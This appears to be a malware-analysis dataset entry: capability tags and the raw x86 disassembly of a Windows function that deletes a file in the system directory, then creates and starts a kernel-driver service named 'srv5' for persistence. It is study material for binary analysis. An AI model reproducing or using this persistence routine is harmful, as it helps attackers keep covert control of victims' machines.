Function at 0x401f60
Capabilities:
Create service
Delete file
Get common file path
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ca55
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x42a050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push 0
push pe_nt_image_headers32
mov byte [ebp - 0x44], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x44]
mov dword [ebp - 4], 0
push pe_nt_image_headers32
call fcn.00404a20
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x28]
mov ecx, edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402010
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00404310
push ecx
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.004046f0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x40203e
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x402079
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40206f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022ed
push edx
push ecx
call fcn.00405998
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp edx, 0x10
jb 0x4020c3
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4020b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022ed
push edx
push ecx
call fcn.00405998
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x28]
mov ecx, edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020f0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00404310
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
lea edx, [ebp - 0x40]
push ecx
call fcn.004046f0
add esp, 4
call fcn.00401cd0
add esp, 0x18
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
test al, al
sete bl
cmp edx, 0x10
jb 0x40215d
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402153
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022f2
push edx
push ecx
call fcn.00405998
add esp, 8
test bl, bl
je 0x402168
xor bl, bl
jmp 0x40229f
push 0
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x28]
mov ecx, edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021a0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00404310
push ecx
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5c]
call fcn.004046f0
mov edi, eax
add esp, 4
cmp dword [edi + 0x14], 0x10
jb 0x4021d0
mov edi, dword [edi]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 3
push 1
push 0x10
push str.srv5
mov esi, eax
push str.srv5
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x10
push str.srv5
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
setne bl
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x40225d
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402253
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022f7
push edx
push ecx
call fcn.00405998
add esp, 8
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp edx, 0x10
jb 0x40229f
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402295
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022f7
push edx
push ecx
call fcn.00405998
add esp, 8
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x4022cf
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4022c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022fc
push edx
push ecx
call fcn.00405998
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405955
mov esp, ebp
pop ebp
ret
call fcn.0040b26c
call fcn.0040b26c
call fcn.0040b26c
call fcn.0040b26c
int3